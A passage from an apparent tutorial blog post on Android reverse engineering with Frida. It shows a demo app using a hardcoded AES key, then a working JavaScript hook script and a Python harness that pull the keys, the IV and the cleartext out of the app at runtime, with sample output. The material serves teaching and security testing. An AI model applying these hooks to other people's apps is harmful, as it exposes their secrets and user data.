            <span class="k">new</span> <span class="nf">Thread</span><span class="o">(</span><span class="k">new</span> <span class="nc">Runnable</span><span class="o">()</span> <span class="o">{</span>
                <span class="nd">@Override</span>
                <span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
                    <span class="k">try</span> <span class="o">{</span>
                        <span class="nc">DataOutputStream</span> <span class="n">out</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataOutputStream</span><span class="o">(</span><span class="n">conn</span><span class="o">.</span><span class="na">getOutputStream</span><span class="o">());</span>
                        <span class="n">out</span><span class="o">.</span><span class="na">writeBytes</span><span class="o">(</span><span class="n">enc</span><span class="o">(</span><span class="n">data</span><span class="o">));</span>
                        <span class="nc">BufferedReader</span> <span class="n">in</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedReader</span><span class="o">(</span><span class="k">new</span> <span class="nc">InputStreamReader</span><span class="o">(</span><span class="n">conn</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">()));</span>
                        <span class="kd">final</span> <span class="nc">String</span> <span class="n">text</span> <span class="o">=</span> <span class="n">in</span><span class="o">.</span><span class="na">readLine</span><span class="o">();</span>
                        <span class="n">runOnUiThread</span><span class="o">(</span><span class="k">new</span> <span class="nc">Runnable</span><span class="o">()</span> <span class="o">{</span>
                            <span class="nd">@Override</span>
                            <span class="kd">public</span> <span class="kt">void</span> <span class="nf">run</span><span class="o">()</span> <span class="o">{</span>
                                <span class="o">((</span><span class="nc">TextView</span><span class="o">)</span> <span class="n">findViewById</span><span class="o">(</span><span class="no">R</span><span class="o">.</span><span class="na">id</span><span class="o">.</span><span class="na">textView</span><span class="o">)).</span><span class="na">setText</span><span class="o">(</span><span class="n">text</span><span class="o">);</span>
                                <span class="n">dec</span><span class="o">(</span><span class="n">text</span><span class="o">);</span>
                            <span class="o">}</span>
                        <span class="o">});</span>
                    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
                        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
                    <span class="o">}</span>
                <span class="o">}</span>
            <span class="o">}).</span><span class="na">start</span><span class="o">();</span>

        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">MalformedURLException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>

    <span class="o">}</span>

    <span class="nc">String</span> <span class="nf">enc</span><span class="o">(</span><span class="nc">String</span> <span class="n">data</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">pre_shared_key</span> <span class="o">=</span> <span class="s">"aaaaaaaaaaaaaaaa"</span><span class="o">;</span> <span class="c1">//assume that this key was not hardcoded</span>
            <span class="nc">String</span> <span class="n">generated_iv</span> <span class="o">=</span> <span class="s">"bbbbbbbbbbbbbbbb"</span><span class="o">;</span>
            <span class="nc">Cipher</span> <span class="n">my_cipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES/CBC/PKCS5PADDING"</span><span class="o">);</span>
            <span class="n">my_cipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="nc">Cipher</span><span class="o">.</span><span class="na">ENCRYPT_MODE</span><span class="o">,</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">pre_shared_key</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">),</span> <span class="s">"AES"</span><span class="o">),</span> <span class="k">new</span> <span class="nc">IvParameterSpec</span><span class="o">(</span><span class="n">generated_iv</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">)));</span>
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">x</span> <span class="o">=</span> <span class="n">my_cipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">data</span><span class="o">.</span><span class="na">getBytes</span><span class="o">());</span>

            <span class="nc">System</span><span class="o">.</span><span class="na">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">encode</span><span class="o">(</span><span class="n">x</span><span class="o">,</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">DEFAULT</span><span class="o">)));</span>
            <span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">encode</span><span class="o">(</span><span class="n">x</span><span class="o">,</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">DEFAULT</span><span class="o">));</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchAlgorithmException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">InvalidKeyException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">InvalidAlgorithmParameterException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchPaddingException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">BadPaddingException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">UnsupportedEncodingException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalBlockSizeException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
    <span class="o">}</span>

    <span class="nc">String</span> <span class="nf">dec</span><span class="o">(</span><span class="nc">String</span> <span class="n">data</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">decoded_data</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">data</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(),</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">DEFAULT</span><span class="o">);</span>
            <span class="nc">String</span> <span class="n">pre_shared_key</span> <span class="o">=</span> <span class="s">"aaaaaaaaaaaaaaaa"</span><span class="o">;</span> <span class="c1">//assume that this key was not hardcoded</span>
            <span class="nc">String</span> <span class="n">generated_iv</span> <span class="o">=</span> <span class="s">"bbbbbbbbbbbbbbbb"</span><span class="o">;</span>
            <span class="nc">Cipher</span> <span class="n">my_cipher</span> <span class="o">=</span> <span class="nc">Cipher</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="s">"AES/CBC/PKCS5PADDING"</span><span class="o">);</span>
            <span class="n">my_cipher</span><span class="o">.</span><span class="na">init</span><span class="o">(</span><span class="nc">Cipher</span><span class="o">.</span><span class="na">DECRYPT_MODE</span><span class="o">,</span> <span class="k">new</span> <span class="nc">SecretKeySpec</span><span class="o">(</span><span class="n">pre_shared_key</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">),</span> <span class="s">"AES"</span><span class="o">),</span> <span class="k">new</span> <span class="nc">IvParameterSpec</span><span class="o">(</span><span class="n">generated_iv</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(</span><span class="s">"UTF-8"</span><span class="o">)));</span>
            <span class="nc">String</span> <span class="n">plain</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">my_cipher</span><span class="o">.</span><span class="na">doFinal</span><span class="o">(</span><span class="n">decoded_data</span><span class="o">));</span>
            <span class="k">return</span> <span class="n">plain</span><span class="o">;</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">UnsupportedEncodingException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchPaddingException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">InvalidAlgorithmParameterException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchAlgorithmException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">InvalidKeyException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">BadPaddingException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalBlockSizeException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
        <span class="k">return</span> <span class="s">""</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>The application uses AES cipher in CBC mode to decrypt and encrypt data, encrypted data is to sent to a HTTP server using POST request, data received from the server is decrypted and never displayed.</p>

<p>The keys are hardcoded in the app, in real world applications they won’t, they should be transmitted securely over the network at runtime.</p>

<p>So our goal is to get the crypto keys while they are being used (after being transferred from the remote servers in real world apps).</p>

<p>The JS code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Script loaded successfully 55</span><span class="dl">"</span><span class="p">);</span>


<span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span> <span class="nx">x</span><span class="p">()</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">secret_key_spec</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">javax.crypto.spec.SecretKeySpec</span><span class="dl">"</span><span class="p">);</span>
    <span class="c1">//SecretKeySpec is inistantiated with the bytes of the key, so we hook the constructor and get the bytes of the key from it</span>
    <span class="c1">//We will get the key but we won't know what data is decrypted/encrypted with it</span>
    <span class="nx">secret_key_spec</span><span class="p">.</span><span class="nx">$init</span><span class="p">.</span><span class="nx">overload</span><span class="p">(</span><span class="dl">"</span><span class="s2">[B</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">java.lang.String</span><span class="dl">"</span><span class="p">).</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "KEY"}</span><span class="dl">'</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">x</span><span class="p">));</span>
        <span class="c1">//console.log(xx.join(" "))</span>
        <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">$init</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="c1">//hooking IvParameterSpec's constructor to get the IV as we got the key above.</span>
    <span class="kd">var</span> <span class="nx">iv_parameter_spec</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">javax.crypto.spec.IvParameterSpec</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">iv_parameter_spec</span><span class="p">.</span><span class="nx">$init</span><span class="p">.</span><span class="nx">overload</span><span class="p">(</span><span class="dl">"</span><span class="s2">[B</span><span class="dl">"</span><span class="p">).</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "IV"}</span><span class="dl">'</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">x</span><span class="p">));</span>
        <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">$init</span><span class="p">(</span><span class="nx">x</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="c1">//now we will hook init function in class Cipher, we will be able to tie keys,IVs with Cipher objects</span>
    <span class="kd">var</span> <span class="nx">cipher</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">javax.crypto.Cipher</span><span class="dl">"</span><span class="p">);</span>
    <span class="nx">cipher</span><span class="p">.</span><span class="nx">init</span><span class="p">.</span><span class="nx">overload</span><span class="p">(</span><span class="dl">"</span><span class="s2">int</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">java.security.Key</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">java.security.spec.AlgorithmParameterSpec</span><span class="dl">"</span><span class="p">).</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">z</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">//console.log(z.getClass()); </span>
        <span class="k">if</span> <span class="p">(</span><span class="nx">x</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="c1">// 1 means Cipher.MODE_ENCRYPT</span>
            <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "hashcode_enc", "hashcode" :"</span><span class="dl">'</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">hashCode</span><span class="p">().</span><span class="nx">toString</span><span class="p">()</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">" }</span><span class="dl">'</span><span class="p">);</span>
        <span class="k">else</span> <span class="c1">// In this android app it is either 1 (Cipher.MODE_ENCRYPT) or 2 (Cipher.MODE_DECRYPT)</span>
            <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "hashcode_dec", "hashcode" :"</span><span class="dl">'</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">hashCode</span><span class="p">().</span><span class="nx">toString</span><span class="p">()</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">" }</span><span class="dl">'</span><span class="p">);</span>
        <span class="c1">//We will have two lists in the python code, which keep track of the Cipher objects and their modes.</span>


        <span class="c1">//Also we can obtain the key,iv from the args passed to init call</span>
        <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "Key from call to cipher init"}</span><span class="dl">'</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">y</span><span class="p">.</span><span class="nx">getEncoded</span><span class="p">()));</span>
        <span class="c1">//arg z is of type AlgorithmParameterSpec, we need to cast it to IvParameterSpec first to be able to call getIV function</span>
        <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "IV from call to cipher init"}</span><span class="dl">'</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">Java</span><span class="p">.</span><span class="nx">cast</span><span class="p">(</span><span class="nx">z</span><span class="p">,</span> <span class="nx">iv_parameter_spec</span><span class="p">).</span><span class="nx">getIV</span><span class="p">()));</span>
        <span class="c1">//init must be called this way to work properly</span>
        <span class="k">return</span> <span class="nx">cipher</span><span class="p">.</span><span class="nx">init</span><span class="p">.</span><span class="nx">overload</span><span class="p">(</span><span class="dl">"</span><span class="s2">int</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">java.security.Key</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">java.security.spec.AlgorithmParameterSpec</span><span class="dl">"</span><span class="p">).</span><span class="nx">call</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">z</span><span class="p">);</span>

    <span class="p">}</span>
    <span class="c1">//now hooking the doFinal method to intercept the enc/dec process</span>
    <span class="c1">//the mode specified in the previous init call specifies whether this Cipher object will decrypt or encrypt, there is no functions like cipher.getopmode() that we can use to get the operation mode of the object (enc or dec)</span>
    <span class="c1">//so we will send the data before and after the call to the python code, where we will decide which one of them is cleartext data</span>
    <span class="c1">//if the object will encrypt, so the cleartext data is availabe in the argument before the call, else if the object will decrypt, we need to send the data returned from the doFinal call and discard the data sent before the call</span>
    <span class="nx">cipher</span><span class="p">.</span><span class="nx">doFinal</span><span class="p">.</span><span class="nx">overload</span><span class="p">(</span><span class="dl">"</span><span class="s2">[B</span><span class="dl">"</span><span class="p">).</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "before_doFinal" , "hashcode" :"</span><span class="dl">'</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">hashCode</span><span class="p">().</span><span class="nx">toString</span><span class="p">()</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">" }</span><span class="dl">'</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">x</span><span class="p">));</span>
        <span class="kd">var</span> <span class="nx">ret</span> <span class="o">=</span> <span class="nx">cipher</span><span class="p">.</span><span class="nx">doFinal</span><span class="p">.</span><span class="nx">overload</span><span class="p">(</span><span class="dl">"</span><span class="s2">[B</span><span class="dl">"</span><span class="p">).</span><span class="nx">call</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">x</span><span class="p">);</span>
        <span class="nx">send</span><span class="p">(</span><span class="dl">'</span><span class="s1">{"my_type" : "after_doFinal" , "hashcode" :"</span><span class="dl">'</span> <span class="o">+</span> <span class="k">this</span><span class="p">.</span><span class="nx">hashCode</span><span class="p">().</span><span class="nx">toString</span><span class="p">()</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">" }</span><span class="dl">'</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">(</span><span class="nx">ret</span><span class="p">));</span>

        <span class="k">return</span> <span class="nx">ret</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The python code</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">frida</span>
<span class="kn">import</span> <span class="nn">json</span>
<span class="n">enc_cipher_hashcodes</span> <span class="o">=</span> <span class="p">[]</span> <span class="c1">#cipher objects with Cipher.ENCRYPT_MODE will be stored here
</span><span class="n">dec_cipher_hashcodes</span> <span class="o">=</span> <span class="p">[]</span> <span class="c1">#cipher objects with Cipher.ENCRYPT_MODE will be stored here
</span>

<span class="k">def</span> <span class="nf">my_message_handler</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">payload</span><span class="p">):</span>
    <span class="c1">#mainly printing the data sent from the js code, and managing the cipher objects according to their operation mode
</span>    <span class="k">if</span> <span class="n">message</span><span class="p">[</span><span class="s">"type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"send"</span><span class="p">:</span>
        <span class="c1"># print message["payload"]
</span>        <span class="n">my_json</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">message</span><span class="p">[</span><span class="s">"payload"</span><span class="p">])</span>
        <span class="k">if</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"KEY"</span><span class="p">:</span>
            <span class="k">print</span> <span class="s">"Key sent to SecretKeySpec()"</span><span class="p">,</span> <span class="n">payload</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"IV"</span><span class="p">:</span>
            <span class="k">print</span> <span class="s">"Iv sent to IvParameterSpec()"</span><span class="p">,</span> <span class="n">payload</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"hashcode_enc"</span><span class="p">:</span>
            <span class="n">enc_cipher_hashcodes</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">my_json</span><span class="p">[</span><span class="s">"hashcode"</span><span class="p">])</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"hashcode_dec"</span><span class="p">:</span>
            <span class="n">dec_cipher_hashcodes</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">my_json</span><span class="p">[</span><span class="s">"hashcode"</span><span class="p">])</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"Key from call to cipher init"</span><span class="p">:</span>
            <span class="k">print</span> <span class="s">"Key sent to cipher init()"</span><span class="p">,</span> <span class="n">payload</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"IV from call to cipher init"</span><span class="p">:</span>
            <span class="k">print</span> <span class="s">"Iv sent to cipher init()"</span><span class="p">,</span> <span class="n">payload</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"hex"</span><span class="p">)</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"before_doFinal"</span> <span class="ow">and</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"hashcode"</span><span class="p">]</span> <span class="ow">in</span> <span class="n">enc_cipher_hashcodes</span><span class="p">:</span>
            <span class="c1">#if the cipher object has Cipher.MODE_ENCRYPT as the operation mode, the data before doFinal will be printed
</span>            <span class="c1">#and the data returned (ciphertext) will be ignored
</span>            <span class="k">print</span> <span class="s">"Data to be encrypted :"</span><span class="p">,</span> <span class="n">payload</span>
        <span class="k">elif</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"my_type"</span><span class="p">]</span> <span class="o">==</span> <span class="s">"after_doFinal"</span> <span class="ow">and</span> <span class="n">my_json</span><span class="p">[</span><span class="s">"hashcode"</span><span class="p">]</span> <span class="ow">in</span> <span class="n">dec_cipher_hashcodes</span><span class="p">:</span>
            <span class="k">print</span> <span class="s">"Decrypted data :"</span><span class="p">,</span> <span class="n">payload</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span> <span class="n">message</span>
        <span class="k">print</span> <span class="s">'*'</span> <span class="o">*</span> <span class="mi">16</span>
        <span class="k">print</span> <span class="n">payload</span>


<span class="n">device</span> <span class="o">=</span> <span class="n">frida</span><span class="p">.</span><span class="n">get_usb_device</span><span class="p">()</span>
<span class="n">pid</span> <span class="o">=</span> <span class="n">device</span><span class="p">.</span><span class="n">spawn</span><span class="p">([</span><span class="s">"com.example.a11x256.frida_test"</span><span class="p">])</span>
<span class="n">device</span><span class="p">.</span><span class="n">resume</span><span class="p">(</span><span class="n">pid</span><span class="p">)</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Without it Java.perform silently fails
</span><span class="n">session</span> <span class="o">=</span> <span class="n">device</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">pid</span><span class="p">)</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"s5.js"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">script</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">create_script</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">script</span><span class="p">.</span><span class="n">on</span><span class="p">(</span><span class="s">"message"</span><span class="p">,</span> <span class="n">my_message_handler</span><span class="p">)</span>  <span class="c1"># register the message handler
</span><span class="n">script</span><span class="p">.</span><span class="n">load</span><span class="p">()</span>

<span class="nb">raw_input</span><span class="p">()</span>

</code></pre></div></div>

<h2 id="output">Output</h2>

<p>sample of the output captured when communicating with a local server(included in the files).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Iv sent to cipher init() 62626262626262626262626262626262
Data to be encrypted : 6557:hardcoded_secret_password
Key sent to SecretKeySpec() 61616161616161616161616161616161
Iv sent to IvParameterSpec() 62626262626262626262626262626262
Key sent to cipher init() 61616161616161616161616161616161
Iv sent to cipher init() 62626262626262626262626262626262
Decrypted data : Can you see this secret message too !!!
Key sent to SecretKeySpec() 61616161616161616161616161616161
Iv sent to IvParameterSpec() 62626262626262626262626262626262
Key sent to cipher init() 61616161616161616161616161616161
Iv sent to cipher init() 62626262626262626262626262626262
Decrypted data : Can you see this secret message too !!!

</code></pre></div></div>

<h2 id="files">Files</h2>

<p><a href="https://github.com/11x256/frida-android-examples/tree/master/examples/5">Example 5</a></p>]]></content><author><name>abdo</name></author><category term="Frida" /><category term="Android-reversing" /><category term="Frida" /><category term="android" /><category term="reverse" /><category term="engineering" /><summary type="html"><![CDATA[Bypassing android encryption , obtaining data in clear text.]]></summary></entry></feed>